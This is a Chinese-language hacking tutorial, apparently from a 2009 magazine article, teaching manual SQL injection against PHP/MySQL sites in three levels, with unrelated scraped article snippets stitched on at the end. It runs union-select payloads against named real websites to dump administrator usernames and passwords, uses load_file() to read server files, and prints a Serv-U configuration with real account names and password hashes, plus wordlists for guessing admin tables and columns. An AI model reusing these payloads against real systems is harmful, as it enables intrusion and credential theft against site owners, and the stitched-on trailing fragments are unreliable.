PHP注入大全,分低级篇,中级篇,高级篇

谨以此献给黑客x档案的新手们

前言:
现在的网络,最流行的攻击手段有两种,一种是缓冲区溢出攻击,一种是SQL注入,相对而言,最流行的还是脚本注入,而脚本注入漏洞更是风靡黑客界。不管是老鸟还是新起步的小菜,都会为它那巨大的威力和灵活多变的招式所着迷!

正是因为注入攻击的流行,使的市面上的注入工具层出不穷!比较出名的有小竹的NBSI、教主的HDSI和啊D的注入工具等等!这大大方便的小菜们掌握注入漏洞!可是,工具是死的,注入的手法却是活的,能否根据实际情况灵活地构造SQL注入语句,得到自己想要的信息,是高手与小菜的根本区别!只用工具,而不去管它的原理,是不可能得到提高的,当然,在遇到一些特殊情况的时候,那些只会用工具的小菜们也只能放弃了!所以学会手工注入自己构造SQL注入语句是一个黑客爱好者必上的一堂课!我希望这篇文章能够给那些还不会手工注入的朋友一点启发!帮助大家早日摆脱工具,早日踏入 高手的行列!

初级篇

PHP注入的常规手段也是先判断注入点,我们现在以华东理工大学的一个注入点(http://career.ecust.edu.cn/pop_zp.php?id=158)为例。在网址后面输入 and 1=1 返回正确页面,如图一:

图一
再输入 and 1=2 返回错误页面,如图二

图二

那么这样就可以判断此处存在注入点。
然后就是判断字段长度,使用的语句是“order by”在网址后面输入 order by 10 返回正确页面,如图三:

图三

说明字段长度大于10,然后再输入 order by 20 返回错误页面,如图四:

图四

说明字段长度在10到20之间,当我们输入 order by 11 的时候返回的也是错误页面,这就确定了字段长度为10

然后使用语句“and 1=2 union select 1,2,3,4,5,6,7,8,9,10”爆出2,4,5,6四个字段位置,如图五:

图五

在mysql中 有很多的注射能用到的函数 比如 user() database() version() 分别用来查看当前数据库连接的用户名,数据库名称 以及mysql的版本,这里 我把 字段4换成 user() 也就是说 让页面在字段4的位置 显示当前数据库连接的用户名
http://career.ecust.edu.cn/pop_z ... 0union%20select%201,2,3,user(),5,6,7,8,9,10,如图六

图六
继续换成其它的函数名,分别显示,如图七,图八

图七

图八

然后是猜解管理员的表明 这里说明下 如果当前连接数据库的用户是 root的话 可以尝试使用 loadfile()函数来查看文件内容 不过前提是要知道文件的绝对路径 这里 我们猜解下管理员表名 在语句后加上 from 表名
http://career.ecust.edu.cn/pop_z ... 0union%20select%201,2,3,4,5,6,7,8,9,10%20from%20admin ,如图九

图九
返回错误页面说明不存在admin这个表名,输入users,如图十

图十
返回正确页面,说明存在users这个表名
常用的表名有:admin user news manage a_admin x_admin m_admin adminuser admin_user article_admin administrator manager member memberlist users Manage_User user_info admin_userinfo login new用户会员

摘要:我们继续猜解字段名称 常用的列名有:username password id adminusername admin_username adminname admin_name admin adminuser admin_user user_name user_admin admin_passwod administrator administrators ad...

我们继续猜解字段名称
常用的列名有:username password id adminusername admin_username adminname admin_name admin adminuser admin_user user_name user_admin admin_passwod administrator administrators adminpassword admin_pwd adminpass userpass user_pass 用户
用户名 密码 帐号

输入
http://career.ecust.edu.cn/pop_z ... 0union%20select%201,username,3,password,5,6,7,8,9,10%20from%20users
在2,4处分别爆出管理员用户名和密码,如图十一

图十一
这里仅仅是一个管理员 其实 这个站管理员很多 我们使用判断语句 来查询不同的管理员的用户名和密码在管理员表中有个id字段 我们用这个字段的值来查询不同的管理员 从1开始
http://career.ecust.edu.cn/pop_z ... 0union%20select%201,username,3,password,5,6,7,8,9,10%20from%20users%20where%20id%20=2,如图十二

图十二

之前我已经看过来从3到127都存在管理员,在这里我就不一一暴了(汗,这么多管理员)!
接下来就是找后台,拿webshell了,这个就不在注入的范围之内,我也就不演示了。

中级篇

这节课说的是 php+mysql注入中load_file()函数的应用

注入的过程中 如果当前数据库连接用户为root或者具有root权限就可以尝试使用这个函数来读取文件 比如在linux下我们可以读取 /etc/passwd 和/etc/shadow来暴力破解linux密码
在windows下 我们可以读取 一些常见的文件以及敏感的地方比如 serv-u的配置文件 my.ini等等

刚才我们已经爆出了当前数据库连接的用户名[email protected]

查看下 c:\boot.ini 这里假设是windows系统 其实就是windows系统

格式是这样的 load_file(0x+文件绝对路径的16进制)

我们先用工具转换下 刚才的断了 我们继续 我一直用这个工具转换

c:\boot.ini转换成16进制是633A5C626F6F742E696E69

我们load_file()看看,输入
http://career.ecust.edu.cn/pop_z ... 0union%20select%201,2,3,load_file(0x633A5C626F6F742E696E69),5,6,7,8,9,10,如图十三

图十三

成功爆出boot.ini的内容

我们再来尝试暴一下my.ini这个文件里的内容,我这里找了一下my.ini在c:\windows\下,我们使用转换工具c:\windows\my.ini对应的16进制是633A5C77696E646F77735C6D792E696E69,输入
http://career.ecust.edu.cn/pop_z ... 0union%20select%201,2,3,load_file(0x633A5C77696E646F77735C6D792E696E69),5,6,7,8,9,10,如图十四

图十四

因为这台服务器上没有安装serv-u,我们使用另一个网站来测试一下
目标:http://www.nihaocg.com/job/jobinfo.php?id=739,字段长度33
我们先来看一下是否存在serv-u,如图十五

图十五

在这里我经过猜测,发现其serv-u的密码文件ServUDaemon.ini放在e:\serv-u\目录下,e:\serv-u\servudaemon.ini对应的16进制是
653A5C736572762D755C73657276756461656D6F6E2E696E69在网址里输入
http://www.nihaocg.com/job/jobin ... 0union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,load_file(0x653A5C736572762D755C73657276756461656D6F6E2E696E69),15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33成功爆出ServUDaemon.ini密码文件里的内容,如图十六

图十六
Version=6.3.0.0
ProcessID=1724
[DOMAINS]
Domain1=0.0.0.0||21|nihaocg|1|0|0
[Domain1]
User1=david|1|0
User2=duckula|1|0
[USER=david|1]
Password=jo1F28C9BB1377A27433FFB4E70B7C828B
HomeDir=e:\
RelPaths=1
PasswordLastChange=1230691605
TimeOut=600
Access1=E:\wwwroot|RWAMLP
[USER=duckula|1]
Password=zeDB0E640BED077EF52EB2B366B236CA67
HomeDir=E:\
PasswordLastChange=1230791979
TimeOut=600
Access1=E:\wwwroot|RWAMLP
这里 我们不但看见了网站的目录 而且可以尝试破解serv-u的密码

高级篇

这节课说的是php+mysql注入中的手工爆库 爆表 爆字段,我们在前面很容易就可以爆出一个数据库,但是我们在后面的猜表中,如果没有猜猜表名,对于一些人来说可能就认为没办法了,这时我们就可以利用暴库,暴表,暴字段来获得管理员的用户名和密码。

摘要:这里我使用的一个注入点是:http://study.feloo.com/news.php?id=114129,字段长度为19,分别爆出2,4,5,13三个字段位置。 我们把2处替换为schema_name,然后在后面加上from information_schema.SCHEMATA limit 0...

这里我使用的一个注入点是:http://study.feloo.com/news.php?id=114129,字段长度为19,分别爆出2,4,5,13三个字段位置。
我们把2处替换为schema_name,然后在后面加上from information_schema.SCHEMATA limit 0,1/*这条语句,具体形式为:

http://study.feloo.com/news.php? ... 0union%20select%201,schema_name,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19%20from%20information_schema.SCHEMATA%20limit%200,1/*,如图十七

图十七
成功爆出网站一个数据库information_schema,但是这个库并不一定是我们想要的数据库(我们所要找的是存在管理员用户名和密码的数据库)
这里 limit 0,1/* 这里意思是 爆出第一个数据库的名字 如果要看第二个数据库名
就一次增加 limit后的值 这里 为0 我增加1,又爆出另一个数据库,如图十八

图十八
逐次加一,就会分别爆出网站的其它数据库名

这个网站之前我通过
http://study.feloo.com/news.php? ... 0union%20select%201,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19
已经爆出了网站的数据库名为:study

我们在继续暴表,就暴study这个库的表吧
http://study.feloo.com/news.php? ... 0union%20select%201,table_name,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19%20from%20information_schema.tables%20where%20TABLE_SCHEMA=0x7374756479%20limit%200,1/*

把2的位置替换为table_name,这里TABLE_SCHEMA=0x7374756479中的0x7374756479是0x+study的十六进制形式。如图十九

图十九

成功爆出一个表名,我们还是通过增加limit后面的数字来逐一爆出数据库中其它的表名

暴字段

http://study.feloo.com/news.php? ... 0union%20select%201,COLUMN_NAME,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19%20from%20information_schema.COLUMNS%20where%20TABLE_NAME=0x61646D696E%20limit%200,1/*

把2的位置替换成COLUMN_NAME,在TABLE_NAME=0x61646D696E中,0x61646D696E是0x+admin的十六进制形式,如图二十

图二十
成功爆出admin表中的一个字段名,通过增加limit后面的数字分别爆出其它的字段名,如二十一,二十二


图十二一

图二十二
至此所有的字段名已经被成功爆出,我们在利用初级篇中讲到的爆出管理员的用户名和密码了。
Concat函数的使用

有时候我们猜到的字段长度可能是1,这样对我们的手工就有所限制,这时我们可以借助concat函数来一次性爆出我们所希望得到的东西

具体用法是concat(我们想要暴的,0x3A,我们想要暴的,0x3A,我们想要暴的……)

我们还拿华东理工大学的那个注入点为例

把4处替换为concat(user(),0x3A,database(),0x3A,version()),0x3A是0x+:的十六进制形式,我们这里用冒号来分隔开当前数据库连接的用户名,数据库名称 以及mysql的版本。

输入

http://career.ecust.edu.cn/pop_z ... 0union%20select%201,2,3,concat(user(),0x3A,database(),0x3A,version()),5,6,7,8,9,10

如图:二十三

图二十三

至此,我们的PHP手工注入到此就结束了,希望此篇文章能对初学者有所帮助,文中所涉及到的网站的漏洞,我已经通知相关的管理员做好了补丁,大家就不要再去尝试了。我们学习的目的不是为了破坏,而是为了更好的维护当前的网络,希望大家能一如既往的关注《黑客x档案》。

本文转自 ☆★ 黑白前线 ★☆ - www.hackline.net

原文链接:http://www.hackline.net/a/special/wlgf/wlrq/2009/1031/1310_3.html

时间: 2024-10-18 08:19:36

PHP注入大全,分低级篇,中级篇,高级篇的相关文章

25 个增强iOS应用程序性能的提示和技巧 应用程序性能的提示和技巧 — 中级篇 中级篇

在开发iOS应用程序时,让程序具有良好的性能是非常关键的.这也是用户所期望的,如果你的程序运行迟钝或缓慢,会招致用户的差评.然而由于iOS设备的局限性,有时候要想获得良好的性能,是很困难的.在开发过程中,有许多事项需要记住,并且关于性能影响很容易就忘记.这就是为什么我要写这篇文章!本文收集了25个关于可以提升程序性能的提示和技巧.目录 目录我把性能优化技巧分为3个不同的等级:初级.中级和高级:中级在性能优化时,当你碰到一些复杂的问题,应该注意和使用如下技巧:9. 重用和延迟加载View10. 缓

SVN版本库的备份、还原、移植(初级篇、中级篇和高级篇)

版本库数据的移植:svnadmin dump.svnadmin load 导出: $svnlook youngest myrepos //查看到目前为止最新的版本号 $svnadmin dump myrepos > dumpfile //将指定的版本库导出成文件dumpfile 导入: $svnadmin load newrepos < dumpfile 中级篇: $svnadmin dump myrepos –r 23 >rev-23.dumpfile           //将ver

Spark学习体系整理(基础篇、中级篇、高级篇所涉及内容)

新手刚开始学习比较迷茫,参考下面,然后找相关资料学习 1 Spark基础篇      1.1 Spark生态和安装部署          在安装过程中,理解其基本操作步骤.          安装部署            Spark安装简介            Spark的源码编译            Spark Standalone安装            Spark Standalone HA安装            Spark应用程序部署工具spark-submit      

在Eclipse中使用JUnit4进行单元测试(初级篇、中级篇、高级篇)

本文转载自以下 初级篇: http://blog.csdn.net/andycpp/article/details/1327147 中级篇: http://blog.csdn.net/andycpp/article/details/1327346 高级篇: http://blog.csdn.net/andycpp/article/details/1329218

WPF 高级篇 MVVM (MVVMlight) 依赖注入使用Messagebox

原文:WPF 高级篇 MVVM (MVVMlight) 依赖注入使用Messagebox MVVMlight 实现依赖注入 把弹框功能 和接口功能注入到各个插件中 使用依赖注入 先把所有的ViewModel都注册到到容器中 MVVMlight SimpleIoc 来实现注册 public ViewModelLocator() { SimpleIoc.Default.Register<MainViewModel>(); SimpleIoc.Default.Register<EditBook

Spark性能优化指南——高级篇

Spark性能优化指南--高级篇 [TOC] 前言 继基础篇讲解了每个Spark开发人员都必须熟知的开发调优与资源调优之后,本文作为<Spark性能优化指南>的高级篇,将深入分析数据倾斜调优与shuffle调优,以解决更加棘手的性能问题. 数据倾斜调优 调优概述 有的时候,我们可能会遇到大数据计算中一个最棘手的问题--数据倾斜,此时Spark作业的性能会比期望差很多.数据倾斜调优,就是使用各种技术方案解决不同类型的数据倾斜问题,以保证Spark作业的性能. 数据倾斜发生时的现象 绝大多数tas

PHP微信公众平台开发高级篇—微信JS-SDK

PHP微信公众平台开发高级篇—微信JS-SDK 第一步.绑定域名: 第二步.引入JS文件: 第三部.通过Config接口注入权限验证配置 第四部.通过Read接口处理成功验证 第五部.通过Error接口处理失败验证 实际案例:分享接口内容

在Eclipse中使用JUnit4进行单元测试(高级篇)【转】

通过前 2 篇文章,您一定对 JUnit 有了一个基本的了解,下面我们来探讨一下JUnit4 中一些高级特性. 一.     高级 Fixture 上一篇文章中我们介绍了两个 Fixture 标注,分别是 @Before 和 @After ,我们来看看他们是否适合完成如下功能:有一个类是负责对大文件(超过 500 兆)进行读写,他的每一个方法都是对文件进行操作.换句话说,在调用每一个方法之前,我们都要打开一个大文件并读入文件内容,这绝对是一个非常耗费时间的操作.如果我们使用 @Before 和 

编程珠玑番外篇之番外篇-O 中间语言和虚拟机漫谈(ZZ)

http://blog.youxu.info/2014/05/11/language-and-vm/ 导言 编程语言的发展历史,总的来说,是一个从抽象机器操作逐步进化为抽象人的思维的过程.机器操作和人的思维如一枚硬币的两面,而语言编译器就像是个双面胶,将这两面粘在一起,保证编程语言源程序和机器代码在行为上等价.当然,人本身并不是一个完美的编译器,不能无错的将思维表达为高级语言程序,这种偏差,即Bug.因为编译器的帮助,我们可以脱离机器细节,只关心表达思维和程序行为这一面. 编程语言的发展日新月异